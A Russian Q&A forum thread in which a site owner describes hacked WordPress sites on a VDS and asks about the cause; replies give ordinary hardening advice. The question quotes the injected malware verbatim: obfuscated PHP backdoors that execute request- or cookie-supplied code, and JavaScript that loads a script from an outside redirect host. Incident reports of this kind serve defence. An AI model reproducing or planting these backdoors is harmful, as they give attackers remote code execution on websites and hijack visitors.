@Bodrosh

Как устранить и не допустить появления в дальнейшем вируса WordPress?

Здравствуйте, недавно произошла следующая ситуация: Сайты расположены на VDS (около 7 шт.). В исходный код файлов index.php (а их довольно много, т.к. находятся в разных каталогах, как в теме, так и плагинах и др. местах), header.php и возможно другие, еще не все выявил - добавили скрипт sc_ript sr_c=https://dest.collectfasttracks.com/y.js'>/sc_ript, который перекидывает на др. сайты рекламы, права на эти файлы выставили 777, видно робот прошел по всем каталогам и подредактировал эти файлы.
в некоторых файлах вставки
<?php if(isset($_POST[chr(97).chr(115).chr(97).chr(118).chr(115).chr(100).chr(118).chr(100).chr(115)]) && md5($_POST[chr(108).chr(103).chr(107).chr(102).chr(103).chr(104).chr(100).chr(102).chr(104)]) == chr(101).chr(57).chr(55).chr(56).chr(55).chr(97).chr(100).chr(99).chr(53).chr(50).chr(55).chr(49).chr(99).chr(98).chr(48).chr(102).chr(55).chr(54).chr(53).chr(50).chr(57).chr(52).chr(53).chr(48).chr(51).chr(100).chr(97).chr(51).chr(102).chr(50).chr(100).chr(99)) { $a = chr(109).chr(110); 	$n1 = chr(102).chr(105).chr(108).chr(101).chr(95);$n2 = chr(112).chr(117).chr(116).chr(95);$n3 = $n1.$n2.chr(99).chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).chr(115);$b1 = chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);$b2 = chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).$b1; 	$z1 = chr(60).chr(63).chr(112).chr(104).chr(112).chr(32); 	$z2 = $z1.$b2($_REQUEST[chr(100).chr(49)]); 	$z3 = $b2($_REQUEST[chr(100).chr(49)]); 	@$n3($a,$z2); 	@include($a);@unlink($a); 	$a = chr(47).chr(116).chr(109).chr(112).chr(47).$a; 	@$n3($a,$z2); 	@include($a);@unlink($a);die();  } if(isset($_GET[5]) && md5($_GET[5]) == "37147ec1ab66861d6e2ef8f672cb2c0b") {function _1896550334($i){$a=Array("jweyc","aeskoly","owhggiku","callbrhy","H*","");return $a[$i];}  function l__0($_0){return isset($_COOKIE[$_0])?$_COOKIE[$_0]:@$_POST[$_0];if(3404<mt_rand(443,2956))session_get_cookie_params($_COOKIE,$_0,$_POST,$_0);}$_1=l__0(_1896550334(0)) .l__0(_1896550334(1)) .l__0(_1896550334(2)) .l__0(_1896550334(3));if(!empty($_1)){$_1=str_rot13(@pack(_1896550334(4),strrev($_1)));if(isset($_1)){$_2=create_function(_1896550334(5),$_1);$_2();exit();}}else{echo base64_decode("bG9jYWwtZXJyb3Itbm90LWZvdW5k");}die();} ?><?php


Эти ски еще напихали в js файлы
var jgfjfghkfdrse423 = 1; var d=document;var s=d.createElement('script'); s.type='text/javascript'; s.async=true;
var pl = String.fromCharCode(104,116,116,112,115,58,47,47,100,101,115,116,46,99,111,108,108,101,99,116,102,97,115,116,116,114,97,99,107,115,46,99,111,109,47,97,46,106,115); s.src=pl;


Кто-то сталкивался с этим? Какого типа мог быть взлом? Через уязвимости CMS (понятно, что через "левые" плагины, если такие есть) ? Как не допустить в дальнейшем?

Еще заметил такой момент: на VDS создано несколько пользователей, часть сайтов, которые взломаны - лежали внутри одного пользователя, а др. пользователи на первый взгляд не тронуты, получается, могли конкретного пользователя взломать и это уже взлом через сервер?

5e731d18988ad154029028.jpeg

Кто столкнется с проблемой, вот описание https://www.wordfence.com/blog/2020/02/multiple-at...
  • Вопрос задан
  • 565 просмотров
Решения вопроса 3
Kozack
@Kozack Куратор тега WordPress
Thinking about a11y
Я нахожу две наиболее вероятные причины взлома:
  1. Кривые руки пользователя (это и потенциально уязвимый код и пароли по типу "qwerty1234")
  2. Устаревшие компоненты, в которых нашли уязвимость.


Следовательно основные меры безопасности:
  • Следить за обновлениями ядра.
  • Следить за обновлениями плагинов.
  • Перед установкой любого плагина смотреть когда он последний раз обновлялся, какие версии ядра поддерживает.
  • Следить за компонентами ОС.
  • Регулярно или автоматически обновлять весь софт до актуальных версий.
  • Не создавать пользователя с логином admin
  • Не создавать пользователей с легкоподбираемыми паролями.
  • Не публиковать и не пересылать пароли в открытых каналах или на скриншотах от таких сервисов как prnt.sc и тп.
  • Не копировать и вставлять на сайт код, если вы не понимаете как он работает.


В качестве дополнительных мер можно:
  • Использовать какой-либо плагин для ограничения попыток входа
  • Установить двухфакторную аутентификацию.
Ответ написан
Комментировать
@Lord_Dantes
Если используете плагины не популярные или мало скачиваемые, может в них как раз и есть дыра в безопасности.

Что можно посоветовать?
Как минимум сменить пароли как максимум удалять все эти штуки вручную...
Ответ написан
Комментировать
solotony
@solotony
покоряю пик Балмера
сталкивался неоднократно. причина была одна - дыры в плагинах. помогает только полная пересборка сайта . (поиск уязвимостей как правило будет сложнее и дороже)

но в вашем случае VDS - так что дыра может быть где угодно. не имея навыков администрирования брать VDS - плохая идея.

- взять новый "чистый" хостинг (если есть возможность не использовать VDS -не используйте его
- пересобирать на нем сайты полностью "с 0", обязательно изолируя их друг от друга.
Ответ написан
Пригласить эксперта
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Войти через центр авторизации
Похожие вопросы